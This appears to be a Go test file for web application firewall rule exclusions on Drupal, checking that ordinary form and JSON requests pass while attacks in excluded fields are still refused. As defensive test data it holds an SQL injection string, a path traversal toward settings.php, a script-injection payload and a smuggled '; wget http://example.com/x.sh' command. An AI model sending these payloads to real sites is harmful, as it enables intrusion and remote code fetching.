check / check (push) Successful in 4m41s
POST /user/password?_format=json with a name of python3, powershell, ls -la or .htaccess was refused while bodies are read. On that path, the JSON field name now skips 930120, 932120, 932250 and 932260, the four rules those recorded names set off, unless the query has a json.name parameter. Recorded from Drupal 11.4.11. Model: opus-5-5
460 lines
14 KiB
Go
460 lines
14 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"testing"
|
|
)
|
|
|
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const drupalThreshold = 5
|
|
|
|
// drupalAddArticle is Drupal's form for a new article.
|
|
const drupalAddArticle = "/node/add/article"
|
|
|
|
// drupalSignIn is Drupal's sign-in page.
|
|
const drupalSignIn = "/user/login"
|
|
|
|
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
|
const drupalJSONSignIn = "/user/login?_format=json"
|
|
|
|
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
|
const drupalJSONPasswordReset = "/user/password?_format=json"
|
|
|
|
// drupalTagForm is Drupal's form for a new tag.
|
|
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
|
|
|
// drupalEditAccount is Drupal's form for editing an account.
|
|
const drupalEditAccount = "/user/2/edit"
|
|
|
|
// drupalName is the field for a person's name, as the start of a form body.
|
|
const drupalName = "name="
|
|
|
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
|
|
for _, recorded := range recordedRequests(t, "drupal-requests.txt") {
|
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
|
|
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
|
}
|
|
|
|
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
|
r.method, r.target, recorded.Body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
|
// injection, as a query value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var drupalAttacks = []string{
|
|
sqlInjection,
|
|
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
|
|
scriptInjection,
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, target := range []string{
|
|
"/?id=",
|
|
"/admin/content?id=",
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/content?destination=",
|
|
"/admin/foo?q=",
|
|
"/node/1/edit?destination=",
|
|
"/user/login?destination=",
|
|
"/search/node?keys=",
|
|
"/search?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/big_pipe/no-js?destination=",
|
|
"/node/2/revisions/3/revert?destination=",
|
|
"/node/2/revisions/3/delete?destination=",
|
|
"/block/add/basic?destination=",
|
|
"/fr/admin/content?title=",
|
|
"/fr/search/node?keys=",
|
|
} {
|
|
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
|
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const reply = "/comment/reply/node/1/comment"
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, sent := range []struct{ target, body string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
|
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, drupalName + attack},
|
|
{drupalSignIn, "pass=" + attack},
|
|
{drupalSignIn, drupalName + attack},
|
|
{"/fr/user/login", drupalName + attack},
|
|
{"/user/register", drupalName + attack},
|
|
{drupalEditAccount, "mail=" + attack},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
`1' OR '1'='1`,
|
|
`<script>alert(1)</script>`,
|
|
} {
|
|
for _, field := range []string{
|
|
`"title":"` + attack + `"`,
|
|
`"body":{"value":"` + attack + `"}`,
|
|
`"name":"` + attack + `"`,
|
|
`"revision_log":"` + attack + `"`,
|
|
`"info":"` + attack + `"`,
|
|
`"description":{"value":"` + attack + `"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"` + attack + `"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body = `{"name":"` + attack + `","pass":"example"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, attack := range []string{
|
|
`1' OR '1'='1`,
|
|
`<script>alert(1)</script>`,
|
|
`; wget http://example.com/x.sh`,
|
|
} {
|
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"name":"` + attack + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
|
// on the fields that skip the other command rules, as a query value.
|
|
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, target := range []string{
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/views/ajax/autocomplete/tag?q=",
|
|
"/search/node?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/fr/admin/content?title=",
|
|
} {
|
|
got := inspect(t, crs, get(target+drupalCommandAttack))
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, sent := range []struct{ target, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
|
|
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
|
|
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
|
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
|
{drupalSignIn, drupalName},
|
|
{"/user/register", drupalName},
|
|
{drupalEditAccount, "mail="},
|
|
{"/comment/reply/node/1/comment", drupalName},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
|
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
|
|
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
|
|
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
|
}
|
|
}
|
|
|
|
for _, field := range []string{
|
|
`"title":"; wget http://example.com/x.sh"`,
|
|
`"subject":"; wget http://example.com/x.sh"`,
|
|
`"body":{"summary":"; wget http://example.com/x.sh"}`,
|
|
`"name":"; wget http://example.com/x.sh"`,
|
|
`"revision_log":"; wget http://example.com/x.sh"`,
|
|
`"info":"; wget http://example.com/x.sh"`,
|
|
`"description":{"value":"; wget http://example.com/x.sh"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
// An address keeps 932250, which refuses ls -la.
|
|
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
|
|
|
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
|
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
|
}
|
|
}
|
|
|
|
// drupalHardValues are the words that name commands and files, as a form
|
|
// value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
|
|
|
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const subject = "subject%5B0%5D%5Bvalue%5D="
|
|
|
|
for _, value := range drupalHardValues {
|
|
for _, sent := range []struct{ target, field string }{
|
|
{"/comment/reply/node/1/comment", subject},
|
|
{"/comment/reply/node/1/comment/5", subject},
|
|
{"/comment/reply/node/1/field_comments", subject},
|
|
{"/comment/reply/media/1/comment", subject},
|
|
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{drupalSignIn, "pass="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, value := range drupalHardValues {
|
|
word, err := url.QueryUnescape(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body := `{"name":"example","pass":"` + word + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
|
body = `{"name":"` + word + `"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, passes := range []string{
|
|
"/admin/content?title=python3",
|
|
"/search/node?keys=python3",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=python3",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=python3",
|
|
"/node/1/edit?destination=python3",
|
|
"/fr/admin/content?title=python3",
|
|
"/pt-br/search/node?keys=python3",
|
|
"/user/password?name=python3",
|
|
} {
|
|
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
|
|
t.Errorf("%s refused: %+v", passes, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []string{
|
|
"/?title=python3",
|
|
"/admin/content?other=python3",
|
|
"/?keys=python3",
|
|
"/node/1?keys=python3",
|
|
"/?q=python3",
|
|
"/?filter%5Btitle%5D=python3",
|
|
"/python3-notes?destination=python3",
|
|
"/notes/admin/content?title=python3",
|
|
"/fr/node/1?keys=python3",
|
|
"/?name=python3",
|
|
"/user/login?name=python3",
|
|
"/media/oembed?url=python3",
|
|
"/media/oembed?url=ls%20-la",
|
|
} {
|
|
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", refused, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The same field name in the query keeps the rules, in the query and
|
|
// in the body.
|
|
for _, sent := range []struct{ path, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalSignIn, "pass=python3"},
|
|
{drupalSignIn, "name=python3"},
|
|
{drupalEditAccount, "mail=python3"},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
|
} {
|
|
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
|
|
// The JSON field name keeps the rules beside json.name in the query, and
|
|
// on a path other than the password reset.
|
|
for _, target := range []string{
|
|
drupalJSONPasswordReset + "&json.name=python3",
|
|
"/user/register?_format=json",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
}
|